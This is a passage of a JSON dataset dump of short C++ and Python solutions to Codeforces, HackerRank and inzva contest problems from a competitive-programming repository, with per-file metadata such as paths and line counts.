"text": "// https://codeforces.com/contest/1166/problem/A\n\n#include <iostream>\n#include <string>\n\nint main(){\n\tint map[26] = {0};\n\tint c1[26] = {0};\n\tint c2[26] = {0};\n\tint n;\n\tint chatty = 0;\n\tstd::string next;\n\tstd::cin >> n;\n\tfor (int i=0; i<n; i++){\n\t\tstd::cin >> next;\n\t\tchar c = next[0];\n\t\tmap[c-97]++;\n\t}\n\tfor (int i=0; i<26; i++){\n\t\tif (map[i]>=1) {\n\t\t\tint j;\n\t\t\tfor (j=map[i]; j>0; j--){\n\t\t\t\t(j%2) ? c1[i]++ : c2[i]++;\n\t\t\t}\n\t\t}\n\t}\n\tfor (int i=0; i<26; i++){\n\t\tif (c1[i]>1) chatty += (((c1[i]) * (c1[i]-1))/2);\n\t\tif (c2[i]>1) chatty += (((c2[i]) * (c2[i]-1))/2);\n\t}\n\tstd::cout << chatty;\n}\n\n"
},
{
"alpha_fraction": 0.516224205493927,
"alphanum_fraction": 0.5840708017349243,
"avg_line_length": 17.72222137451172,
"blob_id": "e446660b7a48b78124f900c4289952ff241e44cb",
"content_id": "d56d50281488481fb2429b5b7f8b78e0b53b22b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 339,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 18,
"path": "/inzva grand contest 2019/h.py",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "# problems are not available online\n# scoreboard: https://algotester.com/en/Contest/ViewScoreboard/50195\n\nn = int(input())\ndef f(x):\n\tl = []\n\tif x <= 37:\n\t\tl.append(x)\n\tif x > 37:\n\t\tl.append(x-(x%37))\n\t\tif x%37 :\n\t\t\tl.append(x%37)\n\treturn l\nfor i in range(1,n+1):\n\tif len(f(i)) == 1:\n\t\tprint(1,f(i)[0])\n\telse:\n\t\tprint(2,f(i)[0],f(i)[1])\n\n\n"
},
{
"alpha_fraction": 0.5605095624923706,
"alphanum_fraction": 0.5796178579330444,
"avg_line_length": 30.5,
"blob_id": "9fe7abcf1bc2b4534ccfa553048723b045e7a3db",
"content_id": "d58d3f6722eb542215f84bcf16174b78a52c1455",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 314,
"license_type": "no_license",
"max_line_length": 118,
"num_lines": 10,
"path": "/inzva acsc19/qualification contest/c.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-algorithm-competition-summer-camp-2019-qualification/challenges/emres-car\n\n#include <iostream>\n\nint main(){\n\tlong int d, k, a, b, t;\n\tstd::cin >> d >> k >> a >> b >> t;\n\tif ( (((d-1)/k)*t)/d >= (b-a) ) std::cout << (k*a)+(d-k)*b;\n\telse std::cout << ((d-1)/k)*t + d*a;\n}"
},
{
"alpha_fraction": 0.4293745756149292,
"alphanum_fraction": 0.44413211941719055,
"avg_line_length": 22.733333587646484,
"blob_id": "931255c0466a08e8848bb754eea22b0a436a0e28",
"content_id": "003e755887aa669d0c12f0f6d1615e0d10e31d8e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1423,
"license_type": "no_license",
"max_line_length": 122,
"num_lines": 60,
"path": "/inzva acsc19/final contest/a.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-final/challenges/yasin-and-his-machine-learning-experience\n\n#include <iostream>\n#include <set>\n#include <vector>\n#include <cstdio>\n\nstd::vector < std::vector<long long int> > ma;\n\n\nint binarySearch(long long int q, int j){\n int begin = 0;\n int end = ma[j].size()-1;\n int m = (end-begin)/2;\n if (ma[j].size()==1) {\n if (ma[j][m] == q) return 1;\n else return -1;\n }\n while (begin<=m && end>m){\n if (ma[j][m] == q) return 1;\n else if (ma[j][m] < q) {\n begin = m+1;\n }\n else end = m;\n if (ma[j].size()!= 1 && m==ma[j].size()-2) {\n if (ma[j][m+1] == q) return 1;\n }\n m = begin + (end-begin)/2;\n }\n return -1;\n}\n\nint main(){\n std::ios::sync_with_stdio(false);\n int n, m, k;\n std::cin >> n >> m;\n ma.resize(n);\n for (int i=0;i<n;i++){\n for (int j=0;j<m;j++){\n long long int a;\n std::cin >> a;\n ma[i].push_back(a);\n }\n }\n std::cin >> k;\n for(int i=0;i<k;i++){\n long long int q;\n std::cin >> q;\n bool flag = false;\n int j;\n for(j=0;j<n;j++){\n if (binarySearch(q,j)!=-1) {\n flag = true;\n break;\n }\n }\n flag ? std::cout << \"YES\" : std::cout << \"NO\";\n std::cout << std::endl;\n }\n}"
},
{
"alpha_fraction": 0.4562780261039734,
"alphanum_fraction": 0.47869956493377686,
"avg_line_length": 16.860000610351562,
"blob_id": "dd9cee9d0aa79ce5691082ab14a603c830959c6f",
"content_id": "e11853e1113f3f53092dccf79a973917abad8290",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 892,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 50,
"path": "/inzva grand contest 2019/b.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// problems are not available online\n// scoreboard: https://algotester.com/en/Contest/ViewScoreboard/50195\n\n#include <iostream>\n#include <vector>\n#include <math.h>\n\nint main(){\n\tint n;\n\tstd::cin >> n;\n\tstd::vector<long long int> even;\n\tstd::vector<long long int> odd;\n\tfor (int i=0;i<n;i++){\n\t\tlong long int a;\n\t\tstd::cin >> a;\n\t\ta%2 ? even.push_back(a) : odd.push_back(a);\n\t}\n\tint ev = even.size();\n\tint od = odd.size();\n\n\tif (abs(ev-od) > 1) std::cout << -1;\n\telse {\n\t\tint ie = 0;\n\t\tint io = 0;\n\t\tif (ev-od == 1 || ev-od == 0){\n\t\t\tfor(int i=0;i<n;i++){\n\t\t\t\tif (i%2 == 0){\n\t\t\t\t\tstd::cout << even[ie] << \" \";\n\t\t\t\t\tie++;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tstd::cout << odd[io] << \" \";\n\t\t\t\t\tio++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if (od-ev == 1){\n\t\t\tfor(int i=0;i<n;i++){\n\t\t\t\tif (i%2 == 1){\n\t\t\t\t\tstd::cout << even[ie] << \" \";\n\t\t\t\t\tie++;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tstd::cout << odd[io] << \" \";\n\t\t\t\t\tio++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}"
},
{
"alpha_fraction": 0.5266393423080444,
"alphanum_fraction": 0.5481557250022888,
"avg_line_length": 19.35416603088379,
"blob_id": "6c8c71715e2b7cfa5da24e489cd1567b02af4e19",
"content_id": "9ddf37d2f9c6d429f8e798e415f47dc68dd18aef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 976,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 48,
"path": "/inzva acsc19/practice problems/trees.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/kasmail\n\n#include <iostream>\n#include <vector>\n#include <algorithm>\n\nstd::vector <long long int> arr;\nlong long cal(long long i){\n\tlong long sum = 0;\n\tfor(long long int &j:arr) {\n\t\tif (j>i) sum+= (j-i);\n\t}\n\treturn sum;\n}\n\nint main(){\n long long n;\n long long m,need;\n long long s = 0;\n long long h;\n std::cin >> n;\n arr.resize(n);\n std::cin >> m;\n need = m;\n for(long long &i:arr) std::cin >> i;\n std::sort(arr.begin(), arr.end());\n\tstd::reverse(arr.begin(), arr.end());\n\th = arr[0];\n\tfor (long long i=0;i<n-1;i++){\n\t\tlong long diff = arr[i] - arr[i+1];\n\t\tif ( (diff*(i+1)) <= need ){\n\t\t\th -= diff;\n\t\t\tneed -= (diff*(i+1));\n\t\t}\n\t\telse {\n\t\t\tlong long toAdd;\n\t\t\tneed%(i+1) ? toAdd = 1 : toAdd = 0;\n\t\t\th -= (need/(i+1) + toAdd);\n\t\t\tneed = 0;\n\t\t}\n\t}\n\tif (need) {\n\t\tlong long toAdd2;\n\t\tneed%n ? toAdd2 = 1 : toAdd2 = 0;\n\t\th -= (need/n + toAdd2);\n\t}\n\tstd::cout << h;\n}"
},
{
"alpha_fraction": 0.40930232405662537,
"alphanum_fraction": 0.4651162922382355,
"avg_line_length": 14.428571701049805,
"blob_id": "f30efa6a744aded74a11510d7d24c504d0ff4977",
"content_id": "951aaac1b1f7b6f249e6350f2d77870f48b270aa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 215,
"license_type": "no_license",
"max_line_length": 36,
"num_lines": 14,
"path": "/metu cclub kodtü2/a.py",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "res = []\n\nfor n in range(3,361):\n if 360%n == 0:\n res.append(int((n-2)*180/n))\n\nt = int(input())\n\nfor i in range(t):\n a = int(input())\n if a in res:\n print('YES')\n else:\n print('NO')"
},
{
"alpha_fraction": 0.4897959232330322,
"alphanum_fraction": 0.5011337995529175,
"avg_line_length": 23.5,
"blob_id": "d42740efee15821e767de5c99b13440c5e5ca0c2",
"content_id": "e2d433dce8c20742c670645c3444a5d0f1ae5fbd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 441,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 18,
"path": "/inzva acsc19/final contest/h.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-final/challenges/chernobyl\n\n#include <iostream>\n#include <math.h>\n\nint main(){\n int t;\n std::cin >> t;\n for(int i=0;i<t;i++){\n long long int n,m;\n std::cin >> n >> m;\n if (n<m) std::cout << \"FALSE\";\n else {\n if (n >= m*log2(3)) std::cout << \"TRUE\";\n else std::cout << \"FALSE\";}\n std::cout << std::endl;\n }\n}\n"
},
{
"alpha_fraction": 0.5343368053436279,
"alphanum_fraction": 0.5484477877616882,
"avg_line_length": 18,
"blob_id": "a2081349219eed9afbbf56874d5239c279779837",
"content_id": "7572fab94790166a65a584db452ee02ae7803a20",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1063,
"license_type": "no_license",
"max_line_length": 102,
"num_lines": 56,
"path": "/inzva acsc19/practice problems/inversion.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/count-inversions-2\n\n#include <iostream>\nlong long int c = 0;\n\nvoid merge(long long int* arr, int start, int middle, int end){\n\tint nl = middle-start+1;\n\tint nr = end-middle;\n\tint left[nl];\n\tint right[nr];\n\tint i,l=0,r=0;\n\tfor(i=0; i<nl; i++) left[i]=arr[start+i];\n\tfor(i=0; i<nr; i++) right[i]=arr[middle+1+i];\n\ti = start;\n\twhile(l<nl && r<nr){\n\t\tif (left[l]<=right[r]){\n\t\t\tarr[i] = left[l];\n\t\t\tl++;\n\t\t}\n\t\telse{\n\t\t\tarr[i] = right[r];\n\t\t\tc += (nl-l);\n\t\t\tr++;\n\t\t}\n\t\ti++;\n\t}\n\twhile (l < nl) \n\t{ \n\t\tarr[i] = left[l]; \n\t\tl++; \n\t\ti++; \n\t} \n\twhile (r < nr) \n\t{ \n\t\tarr[i] = right[r]; \n\t\tr++; \n\t\ti++; \n\t} \n}\nvoid mergeSort(long long int* arr, int start, int end){\n\tint middle = (start+end)/2;\n\tif (start < end){\n\t\tmergeSort(arr, start, middle);\n\t\tmergeSort(arr, middle+1, end);\n\t\tmerge(arr, start, middle, end);\n\t}\n\treturn;\n}\nint main(){\n int n;\n std::cin >> n;\n long long int arr[n];\n for(int i=0;i<n;i++) std::cin >> arr[i];\n mergeSort(arr, 0, n-1);\n std::cout << c;\n}"
},
{
"alpha_fraction": 0.5509839057922363,
"alphanum_fraction": 0.5724508166313171,
"avg_line_length": 29.436363220214844,
"blob_id": "820057c5e9b2a78aacdc8c817e55d248de228cfa",
"content_id": "a9c84663308ef5ac8277d057f7d99a86de37e38d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1677,
"license_type": "no_license",
"max_line_length": 129,
"num_lines": 55,
"path": "/inzva acsc19/practice problems/inzvaland.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/inzvaland\n\n#include <vector>\n#include <stack>\n#include <iostream>\n#include <utility>\n\nstd::vector< std::vector<std::pair <long long int, long long int> > > adj; \n\n\nvoid dfs(long long int v, std::vector<bool>& visited, std::vector<long long int>& parent, std::vector<long long int>& distance) {\n visited[v] = true;\n for (std::pair<long long int, long long int> &u : adj[v]) {\n if (!visited[u.first]) {\n parent[u.first] = v;\n distance[u.first] = (distance[v]+u.second);\n dfs(u.first, visited, parent, distance);\n }\n }\n return;\n}\n\n\nint main(){\n long long int n,z;\n long long int v1f;\n long long int v1,v2,w;\n std::cin >> n >> z;\n adj.resize(n);\n std::vector<bool> visited(n,false);\n std::vector<long long int> parent(n,-1);\n std::vector<long long int> distance(n,0);\n for(long long int i=1;i<n;i++){\n std::cin >> v1 >> v2 >> w;\n if (i==1) v1f = v1-1;\n adj[v1-1].push_back(std::make_pair(v2-1,w));\n adj[v2-1].push_back(std::make_pair(v1-1,w));\n }\n dfs(v1f,visited,parent,distance);\n long long int max = 0;\n long long int maxNode;\n long long int s;\n for(s=0;s<n;s++) {\n if (distance[s]>=max){\n max = distance[s];\n maxNode = s;\n }\n }\n std::vector<bool> visited2(n,false);\n std::vector<long long int> parent2(n,-1);\n std::vector<long long int> distance2(n,0);\n dfs(maxNode,visited2,parent2,distance2);\n for(long long int i=0;i<n;i++) if (distance2[i]>=max) max = distance2[i]; \n std::cout << z*max; \n}\n\n\n\n"
},
{
"alpha_fraction": 0.42943304777145386,
"alphanum_fraction": 0.4676316976547241,
"avg_line_length": 24.367347717285156,
"blob_id": "84c3b442cd1f854dd82051fdaf6fe826b06f88c6",
"content_id": "8633653f505a6fd63c56fa6656f727ff4f23387e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 2487,
"license_type": "no_license",
"max_line_length": 139,
"num_lines": 98,
"path": "/inzva acsc19/practice problems/summer.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/summer-camp\n\n#include <vector>\n#include <iostream>\n#include <string>\n#include <queue>\n\nstd::vector <std::vector<int> > moves(64);\n\n\nvoid printMoves(){\n for (int i=0;i<64;i++) {\n for (int j : moves[i]) std::cout << i << \" \" << j << std::endl;\n }\n return;\n}\n\nvoid bfs(int s, int t, std::vector<bool>& visited, std::vector<int>& distance) {\n std::queue <int> Q;\n Q.push(s);\n distance[s] = 0;\n visited[s] = true; \n while (!Q.empty()){\n int u = Q.front();\n Q.pop();\n for (int i : moves[u]){ \n if (!visited[i]){ \n visited[i] = true;\n distance[i] = distance[u]+1;\n Q.push(i);\n } \n } \n }\n return;\n}\n\n\nint parse(std::string place){\n int cha,y;\n\n if (place[0] == 'a') cha = 0;\n else if (place[0] == 'b') cha = 8;\n else if (place[0] == 'c') cha = 16;\n else if (place[0] == 'd') cha = 24;\n else if (place[0] == 'e') cha = 32;\n else if (place[0] == 'f') cha = 40;\n else if (place[0] == 'g') cha = 48;\n else if (place[0] == 'h') cha = 56;\n else cha = 0;\n\n if (place[1] == '1') y = 0;\n else if (place[1] == '2') y = 1;\n else if (place[1] == '3') y = 2;\n else if (place[1] == '4') y = 3;\n else if (place[1] == '5') y = 4;\n else if (place[1] == '6') y = 5;\n else if (place[1] == '7') y = 6;\n else if (place[1] == '8') y = 7;\n else y = 0;\n \n return cha+y;\n}\n\nint convert(int x, int y){\n return (x*8)+y;\n}\n\n\nvoid possibleMovesFrom(int p, int q){\n int X[8] = { 2, 1, -1, -2, -2, -1, 1, 2 };\n int Y[8] = { 1, 2, 2, 1, -1, -2, -2, -1 };\n\n for (int i = 0; i < 8; i++) {\n int x = p+X[i];\n int y = q+Y[i];\n if (x >= 0 && y >= 0 && x < 8 && y < 8)\n moves[convert(p,q)].push_back(convert(x,y));\n }\n}\n\n \nint main(){ \n int t;\n for (int i=0;i<8;i++){\n for (int j=0;j<8;j++) possibleMovesFrom(i,j);\n }\n //printMoves();\n std::cin >> t;\n std::string source, target;\n for (int i=0;i<t;i++){\n std::vector<bool> visited(64,false);\n std::vector<int> parent(64,-1);\n std::vector<int> distance(64,0);\n std::cin >> source >> target;\n bfs(parse(source), parse(target), visited, distance);\n std::cout << \"To get from \" << source << \" to \" << target << \" takes \" << distance[parse(target)] << \" knight moves.\" << std::endl;\n }\n}\n\n"
},
{
"alpha_fraction": 0.5025445222854614,
"alphanum_fraction": 0.5178117156028748,
"avg_line_length": 15.061224937438965,
"blob_id": "8d5d40991783ce5e431bbd9d8012b93fd6dfbf8b",
"content_id": "f314d5f4d27b4a34b1754a2c0f2856b6441359ef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 786,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 49,
"path": "/codeforces/1183/1183D.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1183/problem/D\n\n#include <iostream>\n#include <map>\n#include <utility>\n#include <vector>\n#include <algorithm>\n\nint main(){\n\tint q;\n\tstd::cin >> q;\n\tfor(int i=0;i<q;i++){\n\t\tstd::map<int,int> ct;\n\t\tstd::vector<int> cc;\n\t\tint n;\n\t\tstd::cin >> n; \n\n\t\tfor(int j=0;j<n;j++){\n\t\t\tint type;\n\t\t\tstd::cin >> type;\n\t\t\tct[type]++;\n\t\t}\n\t\t\n\t\tfor(const std::pair<int,int>& c : ct){\n\t\t\tcc.push_back(c.second);\n\t\t}\n\n\t\tstd::sort(cc.begin(),cc.end());\n\t\tstd::reverse(cc.begin(),cc.end());\n\n\t\tint l = cc.size();\n\t\tint max = cc[0];\n\t\tlong int sum = cc[0];\n\n\t\tfor(int j=1;j<l;j++){\n\t\t\tint cur = cc[j];\n\t\t\tif (max <= 0) break;\n\t\t\tif (cur >= max) {\n\t\t\t\tsum += (max-1);\n\t\t\t\tmax = max-1;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsum += cur;\n\t\t\t\tmax = cur;\n\t\t\t}\n\t\t}\n\t\tstd::cout << sum << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.5186246633529663,
"alphanum_fraction": 0.5530086159706116,
"avg_line_length": 16.5,
"blob_id": "358c21d821fdb933eeb6f409a13ebd8a3b73eada",
"content_id": "15f4a64e8d372a10325af1cc3ac63bab27b6dc59",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 349,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 20,
"path": "/codeforces/1092/1092B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1092/problem/B\n\n#include <iostream>\n#include <algorithm>\n#include <vector>\n \nint main(){\n\tstd::vector<int> ss(100);\n\tint n;\n\tint q = 0;\n\tstd::cin >> n;\n\tfor(int i=0; i<n; i++){\n\t\tstd::cin >> ss[i];\n\t}\n\tstd::sort(ss.begin(),ss.begin()+n);\n\tfor(int i=0; i<n; i = i+2){\n\t\tq = q + (ss[i+1]-ss[i]);\n\t}\n\tstd::cout << q;\n}"
},
{
"alpha_fraction": 0.5426008701324463,
"alphanum_fraction": 0.6203288435935974,
"avg_line_length": 30.904762268066406,
"blob_id": "b90787588a400fa8a666ab5c09079703c7f78a15",
"content_id": "7d0e09d63eae039c5330061556b2d2ee35542093",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 669,
"license_type": "no_license",
"max_line_length": 153,
"num_lines": 21,
"path": "/inzva acsc19/practice problems/triplets.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/array-triplets-1\n\n#include <vector>\n#include <iostream>\n\nint n;\nstd::vector<long long int> arr;\n\nlong long int solve(int index, long s1, long s2, long s3, int c1, int c2, int c3){\n if (index==n && s1==s2 && s2==s3 && c1!=0 && c2!=0 && c3!=0) return 1LL;\n if (index==n) return 0LL;\n \n return solve(index+1,s1+arr[index],s2,s3,c1+1,c2,c3) + solve(index+1,s1,s2+arr[index],s3,c1,c2+1,c3) + solve(index+1,s1,s2,s3+arr[index],c1,c2,c3+1);\n}\n\nint main() {\n std::cin >> n;\n arr.resize(n);\n for(long long int &i:arr) std::cin >> i;\n std::cout << solve(0,0,0,0,0,0,0);\n}"
},
{
"alpha_fraction": 0.4062095582485199,
"alphanum_fraction": 0.44890040159225464,
"avg_line_length": 24.799999237060547,
"blob_id": "55481a615951cf36946fae4f3e5d8ee5c7f30373",
"content_id": "dd4dce0e8ec9541c961c5c6c82b202e27a6e0471",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 773,
"license_type": "no_license",
"max_line_length": 119,
"num_lines": 30,
"path": "/inzva acsc19/qualification contest/l.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-algorithm-competition-summer-camp-2019-qualification/challenges/chair-game\n\n#include <iostream>\n#include <string>\n\nint main(){\n\tint n;\n\tint no = 0;\n\tstd::string s;\n\tstd::cin >> n;\n\tstd::cin >> s;\n\n\tif (n==1) {\n\t\tif (s[0] == 0) std::cout << \"No\";\n\t\telse std::cout << \"Yes\";\n\t}\n\telse if (s[0]== '1' && s[1] == '1') std::cout << \"No\";\n\telse if (s[0] == '0' && s[1] == '0') std::cout << \"No\";\n\telse if (s[n-1] == '0' && s[n-2] == '0') std::cout << \"No\";\n\n\telse {\n for (int i=2;i<n;i++) {\n if (no == 1) break;\n if (s[i]=='1' && s[i-1]=='1') no = 1;\n if (s[i]=='0' && s[i-1]=='0' && s[i-2]=='0') no = 1;\n }\n if (no == 1) std::cout << \"No\";\n else std::cout << \"Yes\";\n }\n}"
},
{
"alpha_fraction": 0.5516483783721924,
"alphanum_fraction": 0.5692307949066162,
"avg_line_length": 15.88888931274414,
"blob_id": "8344162f70bebfa36d635b32b191f4c83ac879c7",
"content_id": "e00a236f210eafb14035d45bce8550c4eb5be3a0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 455,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 27,
"path": "/codeforces/1203/1203C.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1203/problem/C\n\n#include <iostream>\n#include <math.h>\n#include <numeric>\n#include <set>\n\nint main(){\n\tlong int n;\n\tlong int count;\n\tstd::set<long long int> s;\n\tstd::cin >> n;\n\tlong long int a, b;\n\tstd::cin >> a;\n\tfor(long int i=1;i<n;i++){\n\t\tstd::cin >> b;\n\t\ta = std::gcd(a,b);\n\t}\n\tfor (long long int i=1;i<sqrt(a)+1;i++){\n\t\tif (a%i==0) {\n\t\t\ts.insert(i);\n\t\t\ts.insert(a/i);\n\t\t}\n\t}\n\tcount = s.size();\n\tstd::cout << count;\n}"
},
{
"alpha_fraction": 0.49128541350364685,
"alphanum_fraction": 0.5076252818107605,
"avg_line_length": 18.978260040283203,
"blob_id": "39cebc0ae89d9fdd4242bbf40237f1d6aedf7771",
"content_id": "6e3dcdfc9723c3a82b0f33c29efc1bd998b81826",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 918,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 46,
"path": "/codeforces/1183/1183B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1183/problem/B\n\n#include <iostream>\n#include <vector>\n#include <algorithm>\n\nint main(){\n\tint q;\n\tstd::cin >> q;\n\tfor(int i=0;i<q;i++){\n\t\tint n;\n\t\tlong long int k;\n\t\tstd::cin >> n >> k;\n\t\tstd::vector<long long int> p(n);\n\t\tfor(int j=0;j<n;j++){\n\t\t\tstd::cin >> p[j];\n\t\t}\n\t\tstd::sort(p.begin(),p.end());\n\t\tlong long int mx = p[n-1];\n\t\tlong long int mn = p[0];\n\t\tbool flag = false;\n\t\tint curIn = n-1;\n\t\tlong long int cur = p[curIn];\n\t\tif (k==0 && mn!=mx) std::cout << -1;\n\t\telse if (k==0 && mn==mx) std::cout << mx;\n\t\telse if (mn+k>=mx) std::cout << mn+k;\n\t\telse if (mn+k<=mx && mx-mn-k<=k) std::cout << mn+k;\n\t\telse {\n\t\t\twhile(mx-cur<=k && curIn >= 0){\n\t\t\t\tif (cur-mn<=k) {\n\t\t\t\t\tflag = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tcurIn--;\n\t\t\t\t\tif (curIn < 0) break;\n\t\t\t\t\tcur = p[curIn];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (flag) std::cout << cur;\n\t\t\telse std::cout << -1;\n\t\t}\n\t\t\n\t\tstd::cout << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.4008221924304962,
"alphanum_fraction": 0.4686536490917206,
"avg_line_length": 23.9743595123291,
"blob_id": "4866e9acad6a470185f4b27b7c193715bef38182",
"content_id": "4cc9c0d98d501ac6932f836d96ac412929e6309e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 973,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 39,
"path": "/codeforces/1191/1191B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1191/problem/B\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <algorithm>\n#include <math.h>\n\nint main(){\n\tstd::string a,b,c;\n\tstd::vector<char> n;\n\tstd::cin >> a >> b >> c;\n\tif (a[1]==b[1] && b[1]==c[1]){\n\t\tif (a[0]==b[0] && b[0]==c[0]) std::cout << 0;\n\t\telse if (a[0]==b[0] || a[0]==c[0] || b[0]==c[0]) std::cout << 1;\n\t\telse {\n\t\t\tn.push_back(a[0]);\n\t\t\tn.push_back(b[0]);\n\t\t\tn.push_back(c[0]);\n\t\t\tstd::sort(n.begin(),n.end());\n\t\t\tif (n[1]-n[0] == 1 && n[2]-n[1] == 1) std::cout << 0;\n\t\t\telse if (n[1]-n[0] <= 2 || n[2]-n[1] <= 2) std::cout << 1;\n\t\t\telse std::cout << 2;\n\t\t}\n\t}\n\telse if (a[1]==b[1] && b[1]!=c[1]) {\n\t\tif (abs(a[0]-b[0]) <= 2) std::cout << 1;\n\t\telse std::cout << 2;\n\t}\n\telse if (a[1]==c[1] && b[1]!=c[1]){\n\t\tif (abs(a[0]-c[0]) <= 2) std::cout << 1;\n\t\telse std::cout << 2;\n\t}\n\telse if (b[1]==c[1] && b[1]!=a[1]){\n\t\tif (abs(b[0]-c[0]) <= 2) std::cout << 1;\n\t\telse std::cout << 2;\n\t}\n\telse std::cout << 2;\n}"
},
{
"alpha_fraction": 0.46710526943206787,
"alphanum_fraction": 0.4749999940395355,
"avg_line_length": 18.024999618530273,
"blob_id": "42a427ed9659f8f610e60782c6611d4b8c64ffa4",
"content_id": "998858d287bc181b0f050ffea6ffea9373140894",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 760,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 40,
"path": "/codeforces/1200/1200B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1200/problem/B\n\n#include <iostream>\n#include <math.h>\n\nint main(){\n\tint t;\n\tstd::cin >> t;\n\tfor(int test=0;test<t;test++){\n\t\tint n;\n\t\tlong long int m,k;\n\t\tstd::cin >> n >> m >> k;\n\t\tlong int cur, next;\n\t\tstd::cin >> cur;\n\t\tbool flag = false;\n\t\tfor (int i=1;i<n;i++){\n\t\t\tstd::cin >> next;\n\t\t\tlong long int dif = abs(next-cur);\t\n\t\t\tif (cur >= next) {\n\t\t\t\tm += dif;\n\t\t\t\tcur -= dif;\n\t\t\t\tif (k > cur) m += cur;\n\t\t\t\telse m += k;\n\t\t\t}\n\t\t\telse if (next > cur){\n\t\t\t\tif (dif <= k) {\n\t\t\t\t\tif ((k-dif) > cur) m += cur;\n\t\t\t\t\telse m += (k-dif);\n\t\t\t\t}\n\t\t\t\telse if (dif > k && m >= (dif-k)){\n\t\t\t\t\tm -= (dif-k);\n\t\t\t\t}\n\t\t\t\telse flag = true;\n\t\t\t}\n\t\t\tcur = next;\n\t\t}\n\t\tflag ? std::cout << \"NO\" : std::cout << \"YES\";\n\t\tstd::cout << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.5759999752044678,
"alphanum_fraction": 0.5920000076293945,
"avg_line_length": 17.55555534362793,
"blob_id": "1e6f4daa70232782e1aa391b9f5622c4611e9a91",
"content_id": "73707d595821a55f22eae0f834cffd395f6217a1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 500,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 27,
"path": "/codeforces/1201/1201B.cpp",
